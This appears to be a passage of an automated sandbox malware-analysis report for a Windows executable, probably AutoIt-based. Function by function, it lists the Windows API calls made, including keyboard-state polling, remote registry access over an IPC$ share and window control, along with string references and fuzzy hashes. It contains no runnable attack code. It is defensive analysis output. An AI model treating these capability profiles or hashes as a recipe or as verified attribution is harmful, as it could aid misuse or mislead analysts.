GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00223D40
_wcslen.LIBCMT ref: 00223D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 00223D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00223DBE
RemoveDirectoryW.KERNEL32(?), ref: 00223DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00223E55
CloseHandle.KERNEL32(00000000), ref: 00223E60
CloseHandle.KERNEL32(00000000), ref: 00223E6B

Strings

:, xrefs: 00223D82
\??\%s, xrefs: 00223D5B
\, xrefs: 00223D77

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: 6357109bb0ded9e46af23d4fbfb1ae3cbb58556b4d0d833ac3260290665eaac1
Instruction ID: 7e908bb8b8546c042ee9ba8c5e55d0c1f356d459e84fe9e00ee27c2c473a2a36
Opcode Fuzzy Hash: 6357109bb0ded9e46af23d4fbfb1ae3cbb58556b4d0d833ac3260290665eaac1
Instruction Fuzzy Hash: 8031A376A1011ABBDB20DFA4EC49FEB37BCEF89700F1041A5F509D6150E77497548B24

Function 0021E6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0021E6B4

Part of subcall function 001CE551: timeGetTime.WINMM(?,?,0021E6D4), ref: 001CE555

Sleep.KERNEL32(0000000A), ref: 0021E6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 0021E705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 0021E727
SetActiveWindow.USER32 ref: 0021E746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 0021E754
SendMessageW.USER32(00000010,00000000,00000000), ref: 0021E773
Sleep.KERNEL32(000000FA), ref: 0021E77E
IsWindow.USER32 ref: 0021E78A
EndDialog.USER32(00000000), ref: 0021E79B

Strings

BUTTON, xrefs: 0021E719

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 3703bdfe342d855166d4a78aff78a403ba1d3db4de63bcc4d09b1365a6755b28
Instruction ID: c4d0492fa75bc82b517ab2e046fa09a7e75b892ac5e3e138c9294d627f24f854
Opcode Fuzzy Hash: 3703bdfe342d855166d4a78aff78a403ba1d3db4de63bcc4d09b1365a6755b28
Instruction Fuzzy Hash: B121D4B8212251EFFF005F24FC8DE667BEDF7A6349B254424FC05811A1EB719C648B10

Function 0021E9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0021EA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0021EA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0021EA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0021EA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0021EAA7

Strings

status PlayMe mode, xrefs: 0021EA58
play PlayMe wait, xrefs: 0021EA91
close PlayMe, xrefs: 0021EA6E, 0021EA9B
play PlayMe, xrefs: 0021EAA2
open , xrefs: 0021EA0C
alias PlayMe, xrefs: 0021EA36

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: c8d7a16d04e64da5af5bc0091587a5b84b6764623025f7e270e62a41067429d0
Instruction ID: 631b575a2fac57cda5917ce7e49edd5b58daecb68e4aedc4eaf31793fcb71afc
Opcode Fuzzy Hash: c8d7a16d04e64da5af5bc0091587a5b84b6764623025f7e270e62a41067429d0
Instruction Fuzzy Hash: B6117731A6025979D710A761DC4EDFF6EBCEFE2F00F444425B915A20D1DF700955C5B0

Function 00219F91 Relevance: 18.2, APIs: 12, Instructions: 188keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 0021A012
SetKeyboardState.USER32(?), ref: 0021A07D
GetAsyncKeyState.USER32(000000A0), ref: 0021A09D
GetKeyState.USER32(000000A0), ref: 0021A0B4
GetAsyncKeyState.USER32(000000A1), ref: 0021A0E3
GetKeyState.USER32(000000A1), ref: 0021A0F4
GetAsyncKeyState.USER32(00000011), ref: 0021A120
GetKeyState.USER32(00000011), ref: 0021A12E
GetAsyncKeyState.USER32(00000012), ref: 0021A157
GetKeyState.USER32(00000012), ref: 0021A165
GetAsyncKeyState.USER32(0000005B), ref: 0021A18E
GetKeyState.USER32(0000005B), ref: 0021A19C

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: b0f05e8b441e1a1bac08fe997adb03d969e6ae527becd1df3627eb4ba96e241a
Instruction ID: 2085e39e0a9382ae4fd486d7985d0d20415cca8c8e45dd527578269cbcd11dfe
Opcode Fuzzy Hash: b0f05e8b441e1a1bac08fe997adb03d969e6ae527becd1df3627eb4ba96e241a
Instruction Fuzzy Hash: CE511A2091538939FB31EF7088107EAAFF49F22380F088599D5C6575C2DA649ADCCB62

Function 00215CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00215CE2
GetWindowRect.USER32(00000000,?), ref: 00215CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00215D59
GetDlgItem.USER32(?,00000002), ref: 00215D69
GetWindowRect.USER32(00000000,?), ref: 00215D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00215DCF
GetDlgItem.USER32(?,000003E9), ref: 00215DDD
GetWindowRect.USER32(00000000,?), ref: 00215DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00215E31
GetDlgItem.USER32(?,000003EA), ref: 00215E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00215E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 00215E67

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: d2975d5b33af116177e693d82738ec977d226f35c83a6df01880e3627213db93
Instruction ID: 2c20c6b3ea160d03886374d2e626c81285dbfe1e255b7cdc9ad5696c20d4bb5e
Opcode Fuzzy Hash: d2975d5b33af116177e693d82738ec977d226f35c83a6df01880e3627213db93
Instruction Fuzzy Hash: 58514E74B10615AFDF18CF68DD89AAEBBF9FB98300F208128F905E6290D7709E50CB50

Function 001C8BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 001C8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,001C8BE8,?,00000000,?,?,?,?,001C8BBA,00000000,?), ref: 001C8FC5

DestroyWindow.USER32(?), ref: 001C8C81
KillTimer.USER32(00000000,?,?,?,?,001C8BBA,00000000,?), ref: 001C8D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00206973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,001C8BBA,00000000,?), ref: 002069A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,001C8BBA,00000000,?), ref: 002069B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,001C8BBA,00000000), ref: 002069D4
DeleteObject.GDI32(00000000), ref: 002069E6

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 9ac24c4aca136cefb8c6d1b54d314fecd3d6cb390b4b1c1f0fc39f1e40d63c19
Instruction ID: ef17be26b1df8e0a766dddff4a015aba2b9e8d0bae6c34a4adcdc7d21226dadf
Opcode Fuzzy Hash: 9ac24c4aca136cefb8c6d1b54d314fecd3d6cb390b4b1c1f0fc39f1e40d63c19
Instruction Fuzzy Hash: 5B61B934112701DFDB259F18E98CB6AB7B1FB61312F24441CE0429B9A0CB35ECA1DFA8

Function 001C9838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 001C9944: GetWindowLongW.USER32(?,000000EB), ref: 001C9952

GetSysColor.USER32(0000000F), ref: 001C9862

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: a6dd89755ea0146d73212460bbcf526f77a36cec3922419f9b12021321947b90
Instruction ID: adce8a2564826bdb0137e0d76bb4255f16374120ab9b5ed4e340e7d16b4f33b0
Opcode Fuzzy Hash: a6dd89755ea0146d73212460bbcf526f77a36cec3922419f9b12021321947b90
Instruction Fuzzy Hash: 07419E35505644AFDB205F38AC8CFB93BA5AB27330F244659F9A68B2E2C731DD42DB10

Function 002196E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,001FF7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00219717
LoadStringW.USER32(00000000,?,001FF7F8,00000001), ref: 00219720

Part of subcall function 001B9CB3: _wcslen.LIBCMT ref: 001B9CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,001FF7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00219742
LoadStringW.USER32(00000000,?,001FF7F8,00000001), ref: 00219745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00219866

Strings

Line %d:, xrefs: 002197A0
^ ERROR, xrefs: 002197FB
Line %d (File "%s"):, xrefs: 0021978F
%s (%d) : ==> %s: %s %s, xrefs: 0021984A
Error: , xrefs: 0021981D

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: be3827e604d58f1c5e1d37d57891ecee29c47267efd0a6bbdf6b62cb9f029068
Instruction ID: 54a24c927cc19622da41b2337615a56603653c4a86a9a489c799ff4e1c25e7f1
Opcode Fuzzy Hash: be3827e604d58f1c5e1d37d57891ecee29c47267efd0a6bbdf6b62cb9f029068
Instruction Fuzzy Hash: 22414172800219ABCF14EBE4DD96DEEB7B8AF65340F600065F60572092EB356F99CF61

Function 002106DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 001B6B57: _wcslen.LIBCMT ref: 001B6B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 002107A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 002107BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 002107DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00210804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 0021082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00210837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0021083C

Strings

SOFTWARE\Classes\, xrefs: 0021070E
\CLSID, xrefs: 00210724
\IPC$, xrefs: 00210784

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: c10ca84b372e2e051e82e213f266640f46f3367828c975ea1dadc688f8c6d453
Instruction ID: 50cf0ef6218cf9e30ae553eeecf21418d05a3bec939d1e21c573ee41ddf98941
Opcode Fuzzy Hash: c10ca84b372e2e051e82e213f266640f46f3367828c975ea1dadc688f8c6d453
Instruction Fuzzy Hash: 65413876C10229ABDF11EFA4DC85CEEB7B8BF24340B544129E901A71A0EB709E54CB90

Function 00243F98 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0024403B
CreateCompatibleDC.GDI32(00000000), ref: 00244042
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00244055
SelectObject.GDI32(00000000,00000000), ref: 0024405D
GetPixel.GDI32(00000000,00000000,00000000), ref: 00244068
DeleteDC.GDI32(00000000), ref: 00244072
GetWindowLongW.USER32(?,000000EC), ref: 0024407C
SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 00244092
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 0024409E

Strings

static, xrefs: 00243FD3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 9228e59c06379896f0312166f3c65a24341ac6bcf3311f214a10eed9f73af7aa
Instruction ID: af61cbb68fdde66ab07eae66d79018cad214de6d308ffd13cc19ee16c260a8bb
Opcode Fuzzy Hash: 9228e59c06379896f0312166f3c65a24341ac6bcf3311f214a10eed9f73af7aa
Instruction Fuzzy Hash: 83316F36512215ABDF25AFA8DC09FDA3B68FF1E724F110211FA19E61A0C775D820DB54

Function 00233C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00233C5C
CoInitialize.OLE32(00000000), ref: 00233C8A
CoUninitialize.OLE32 ref: 00233C94
_wcslen.LIBCMT ref: 00233D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 00233DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 00233ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00233F0E
CoGetObject.OLE32(?,00000000,0024FB98,?), ref: 00233F2D
SetErrorMode.KERNEL32(00000000), ref: 00233F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00233FC4
VariantClear.OLEAUT32(?), ref: 00233FD8

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 68c8a46cd9600ccd1d3bb811b45e89f97b6a99c5b386a729646f59971f061336
Instruction ID: 1ddfb7c801ae78a155f84695929ee35e17b351769c74e92898e0b9d2306a0768
Opcode Fuzzy Hash: 68c8a46cd9600ccd1d3bb811b45e89f97b6a99c5b386a729646f59971f061336
Instruction Fuzzy Hash: 24C166B16183059FD700DF68C88496BBBE9FF89748F10491DF98A9B220D770EE15CB52

Function 00227A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00227AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00227B8F
SHGetDesktopFolder.SHELL32(?), ref: 00227BA3
CoCreateInstance.OLE32(0024FD08,00000000,00000001,00276E6C,?), ref: 00227BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00227C74
CoTaskMemFree.OLE32(?,?), ref: 00227CCC
SHBrowseForFolderW.SHELL32(?), ref: 00227D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00227D7A
CoTaskMemFree.OLE32(00000000), ref: 00227D81
CoTaskMemFree.OLE32(00000000), ref: 00227DD6
CoUninitialize.OLE32 ref: 00227DDC

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 454b6f9a9c74000564a377117ef1bec28b94593c7c3b273ab84dc5f2993de5dc
Instruction ID: cd001a73c38ea2e1797249d16a38ebc827d21094ce167b8652bfd952f4626254
Opcode Fuzzy Hash: 454b6f9a9c74000564a377117ef1bec28b94593c7c3b273ab84dc5f2993de5dc
Instruction Fuzzy Hash: A9C11B75A14119AFCB14DFA4D888DAEBBF9FF48304B148499F81A9B261D730ED41CB90

Function 0024541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00245504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00245515
CharNextW.USER32(00000158), ref: 00245544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00245585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 0024559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 002455AC

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: 0f95e3d83770feb5053db2f9d4ca95b9a909677db340efb5e5dc3f3111c7fbd3
Instruction ID: 6c4218c37c53487ecdd2259cb9912860c38e8aae803e205218ea8abb2e5ff842
Opcode Fuzzy Hash: 0f95e3d83770feb5053db2f9d4ca95b9a909677db340efb5e5dc3f3111c7fbd3
Instruction Fuzzy Hash: F161C334925629EFDF188F54CC849FE7B79FF06320F108145F9A5AB292D7748AA0DB60

Function 0020FA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 0020FAAF
SafeArrayAllocData.OLEAUT32(?), ref: 0020FB08
VariantInit.OLEAUT32(?), ref: 0020FB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 0020FB3A
VariantCopy.OLEAUT32(?,?), ref: 0020FB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 0020FBA1
VariantClear.OLEAUT32(?), ref: 0020FBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 0020FBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0020FBCC
VariantClear.OLEAUT32(?), ref: 0020FBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0020FBE9

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: a5d9b8c03863fbd4243f8919359c783288f565899c6836beda65ad28c1f71176
Instruction ID: ad3150d60a9b3957c5b598f33dd8ad57e55c5a23e1110fe32b471436d110531d
Opcode Fuzzy Hash: a5d9b8c03863fbd4243f8919359c783288f565899c6836beda65ad28c1f71176
Instruction Fuzzy Hash: CA418F34A10219DFCB50DFA8D9589AEBBB9EF08344F108069E905A7262DB30E945CFA0

Function 00219C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00219CA1
